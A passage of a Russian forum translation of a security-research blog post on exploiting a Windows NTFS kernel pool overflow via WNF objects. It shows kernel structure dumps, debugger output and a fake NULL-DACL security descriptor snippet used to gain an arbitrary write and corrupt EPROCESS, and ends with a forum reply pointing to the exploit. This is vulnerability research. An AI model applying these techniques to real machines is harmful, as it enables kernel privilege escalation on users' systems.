    enum _WNF_DATA_SCOPE DataScope;                                         //0x10
    ULONG InstanceIdSize;                                                   //0x14
    VOID* InstanceIdData;                                                   //0x18
    struct _LIST_ENTRY ResolverListEntry;                                   //0x20
    struct _WNF_LOCK NameSetLock;                                           //0x30
    struct _RTL_AVL_TREE NameSet;                                           //0x38
    VOID* PermanentDataStore;                                               //0x40
    VOID* VolatilePermanentDataStore;                                       //0x48
};

struct _RTL_AVL_TREE
{
    struct _RTL_BALANCED_NODE* Root;                                        //0x0
};

struct _RTL_BALANCED_NODE
{
    union
    {
        struct _RTL_BALANCED_NODE* Children[2];                             //0x0
        struct
        {
            struct _RTL_BALANCED_NODE* Left;                                //0x0
            struct _RTL_BALANCED_NODE* Right;                               //0x8
        };
    };
    union
    {
        struct
        {
            UCHAR Red : 1;                                                    //0x10
            UCHAR Balance : 2;                                                //0x10
        };
        ULONGLONG ParentValue;                                              //0x10
    };
};

Каждый из _WNF_NAME_INSTANCE объединяется с элементом TreeLinks. Поэтому приведенный выше код обхода дерева проходит по дереву AVL и использует его для поиска правильного StateName.

Одна из проблем с точки зрения повреждения памяти заключается в том, что, хотя вы можете определить внешнее и внутреннее StateName объектов, которые были распылены кучей, вы не обязательно знаете, какие из объектов будут соседними с фрагментом NTFS, который переполняется.

Однако при тщательной обработке переполнения пула мы можем угадать подходящее значение для установки StateName структуры _WNF_NAME_INSTANCE.

Также можно построить собственное дерево AVL, повреждая указатели TreeLinks, однако главное предостережение заключается в том, что необходимо соблюдать осторожность, чтобы избежать защиты от безопасного отсоединения.

Как видно из Windows Mitigations (https://github.com/nccgroup/exploit_mitigations/blob/master/windows_mitigations.md), Microsoft внедрила значительное количество средств, чтобы затруднить эксплуатацию кучи и пула.

В следующем сообщении в блоге я подробно расскажу, как это влияет на этот конкретный эксплойт и какая очистка необходима.

Дескриптор безопасности

Еще одна проблема, с которой я столкнулся при разработке этого эксплойта, связана с дескриптором безопасности.

Первоначально я установил его как адрес дескриптора безопасности в пространстве пользователя, который использовался в NtCreateWnfStateName.

Выполнение некоторых сравнений между немодифицированным дескриптором безопасности в пространстве ядра и в пользовательском пространстве показало, что они разные.

Пространство ядра:

Makefile:
1: kd> dx -id 0,0,ffffce86a715f300 -r1 ((ntkrnlmp!_SECURITY_DESCRIPTOR *)0xffff9e8253eca5a0)
((ntkrnlmp!_SECURITY_DESCRIPTOR *)0xffff9e8253eca5a0)                 : 0xffff9e8253eca5a0 [Type: _SECURITY_DESCRIPTOR *]
    [+0x000] Revision         : 0x1 [Type: unsigned char]
    [+0x001] Sbz1             : 0x0 [Type: unsigned char]
    [+0x002] Control          : 0x800c [Type: unsigned short]
    [+0x008] Owner            : 0x0 [Type: void *]
    [+0x010] Group            : 0x28000200000014 [Type: void *]
    [+0x018] Sacl             : 0x14000000000001 [Type: _ACL *]
    [+0x020] Dacl             : 0x101001f0013 [Type: _ACL *]

После повторного указания дескриптора безопасности на структуру пользовательского пространства:

Makefile:
1: kd> dx -id 0,0,ffffce86a715f300 -r1 ((ntkrnlmp!_SECURITY_DESCRIPTOR *)0x23ee3ab6ea0)
((ntkrnlmp!_SECURITY_DESCRIPTOR *)0x23ee3ab6ea0)                 : 0x23ee3ab6ea0 [Type: _SECURITY_DESCRIPTOR *]
    [+0x000] Revision         : 0x1 [Type: unsigned char]
    [+0x001] Sbz1             : 0x0 [Type: unsigned char]
    [+0x002] Control          : 0xc [Type: unsigned short]
    [+0x008] Owner            : 0x0 [Type: void *]
    [+0x010] Group            : 0x0 [Type: void *]
    [+0x018] Sacl             : 0x0 [Type: _ACL *]
    [+0x020] Dacl             : 0x23ee3ab4350 [Type: _ACL *]

Затем я попытался предоставить фейку дескриптор безопасности с теми же значениями. Это не сработало, как ожидалось, и NtUpdateWnfStateData по-прежнему возвращал отказ в разрешении (-1073741790).

Хорошо, тогда! Давайте просто сделаем DACL NULL, чтобы у группы "все" были разрешения "Полный доступ".

После еще нескольких экспериментов исправление поддельного дескриптора безопасности со следующими значениями сработало, и данные были успешно записаны в произвольное место:

SECURITY_DESCRIPTOR* sd = (SECURITY_DESCRIPTOR*)malloc(sizeof(SECURITY_DESCRIPTOR));
sd->Revision = 0x1;
sd->Sbz1 = 0;
sd->Control = 0x800c;
sd->Owner = 0;
sd->Group = (PSID)0;
sd->Sacl = (PACL)0;
sd->Dacl = (PACL)0;

Повреждение EPROCESS


Первоначально при тестировании произвольной записи я ожидал, что когда я установлю указатель StateData на 0x6161616161616161, произойдет сбой ядра рядом с расположением memcpy. Однако на практике было обнаружено, что выполнение ExpWnfWriteStateData выполняется в рабочем потоке. Когда происходит нарушение прав доступа, это перехватывается, и статус NT -1073741819, который является STATUS_ACCESS_VIOLATION, распространяется обратно в пользовательскую среду. Это сделало первоначальную отладку более сложной, так как код вокруг этой функции был значительно сложным путем, а условные точки останова приводили к огромному останову программы.

В любом случае, как правило, после произвольной записи злоумышленник либо использует для повышения привилегий на основе данных, либо для выполнения произвольного кода.

Поскольку мы используем CVE-2021-31955 для утечки адреса EPROCESS, мы продолжаем наше исследование в этом направлении.

Подводя итог, необходимо было предпринять следующие шаги:

1) Внутреннее имя состояния совпало с правильным внутренним именем состояния, поэтому при необходимости можно найти правильное внешнее имя состояния.
2) Дескриптор безопасности, проходящий проверку в ExpWnfCheckCallerAccess.
3) Смещения DataSize и AllocSize соответствуют желаемой области памяти.

Таким образом, у нас есть следующая структура памяти после того, как произошло переполнение, и EPROCESS обрабатывается как _WNF_STATE_DATA:

1642494818301.png


Затем мы можем продемонстрировать повреждение структуры EPROCESS:

Makefile:
PROCESS ffff8881dc84e0c0
    SessionId: 1  Cid: 13fc    Peb: c2bb940000  ParentCid: 1184
    DirBase: 4444444444444444  ObjectTable: ffffc7843a65c500  HandleCount:  39.
    Image: TestEAOverflow.exe

PROCESS ffff8881dbfee0c0
    SessionId: 1  Cid: 073c    Peb: f143966000  ParentCid: 13fc
    DirBase: 135d92000  ObjectTable: ffffc7843a65ba40  HandleCount: 186.
    Image: conhost.exe

PROCESS ffff8881dc3560c0
    SessionId: 0  Cid: 0448    Peb: 825b82f000  ParentCid: 028c
    DirBase: 37daf000  ObjectTable: ffffc7843ec49100  HandleCount: 176.
    Image: WmiApSrv.exe

1: kd> dt _WNF_STATE_DATA ffffd68cef97a080+0x8
nt!_WNF_STATE_DATA
   +0x000 Header           : _WNF_NODE_HEADER
   +0x004 AllocatedSize    : 0xffffd68c
   +0x008 DataSize         : 0x100
   +0x00c ChangeStamp      : 2

1: kd> dc ffff8881dc84e0c0 L50
ffff8881`dc84e0c0  00000003 00000000 dc84e0c8 ffff8881  ................
ffff8881`dc84e0d0  00000100 41414142 44444444 44444444  ....BAAADDDDDDDD
ffff8881`dc84e0e0  44444444 44444444 44444444 44444444  DDDDDDDDDDDDDDDD
ffff8881`dc84e0f0  44444444 44444444 44444444 44444444  DDDDDDDDDDDDDDDD
ffff8881`dc84e100  44444444 44444444 44444444 44444444  DDDDDDDDDDDDDDDD
ffff8881`dc84e110  44444444 44444444 44444444 44444444  DDDDDDDDDDDDDDDD
ffff8881`dc84e120  44444444 44444444 44444444 44444444  DDDDDDDDDDDDDDDD
ffff8881`dc84e130  44444444 44444444 44444444 44444444  DDDDDDDDDDDDDDDD
ffff8881`dc84e140  44444444 44444444 44444444 44444444  DDDDDDDDDDDDDDDD
ffff8881`dc84e150  44444444 44444444 44444444 44444444  DDDDDDDDDDDDDDDD
ffff8881`dc84e160  44444444 44444444 44444444 44444444  DDDDDDDDDDDDDDDD
ffff8881`dc84e170  44444444 44444444 44444444 44444444  DDDDDDDDDDDDDDDD
ffff8881`dc84e180  44444444 44444444 44444444 44444444  DDDDDDDDDDDDDDDD
ffff8881`dc84e190  44444444 44444444 44444444 44444444  DDDDDDDDDDDDDDDD
ffff8881`dc84e1a0  44444444 44444444 44444444 44444444  DDDDDDDDDDDDDDDD
ffff8881`dc84e1b0  44444444 44444444 44444444 44444444  DDDDDDDDDDDDDDDD
ffff8881`dc84e1c0  44444444 44444444 44444444 44444444  DDDDDDDDDDDDDDDD
ffff8881`dc84e1d0  44444444 44444444 00000000 00000000  DDDDDDDD........
ffff8881`dc84e1e0  00000000 00000000 00000000 00000000  ................
ffff8881`dc84e1f0  00000000 00000000 00000000 00000000  ................

Как видите, EPROCESS+0x8 был поврежден данными, контролируемыми злоумышленником.

На этом этапе типичными подходами могут быть:

1) Прицеливание на структуры KTHREAD Член PreviousMode

2) Прицеливание на токен EPROCESS

Эти подходы, плюсы и минусы обсуждались ранее членами команды EDG при использовании уязвимости в KTM.

Следующий этап будет обсуждаться в последующем сообщении в блоге, поскольку еще предстоит решить некоторые проблемы, прежде чем будет достигнуто надежное повышение привилегий.

Резюме

Таким образом, мы рассказали больше об уязвимости и о том, как ее можно активировать. Мы видели, как можно использовать WNF для включения нового набора примитивов эксплойта. Это все на данный момент в части 1! В следующей статье я расскажу об улучшениях надежности, очистке памяти ядра и продолжении.

Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://research.nccgroup.com/2021/...ting-the-windows-kernel-ntfs-with-wnf-part-1/
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Тут короче сплойт, если кому интересно -> /threads/61620/
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх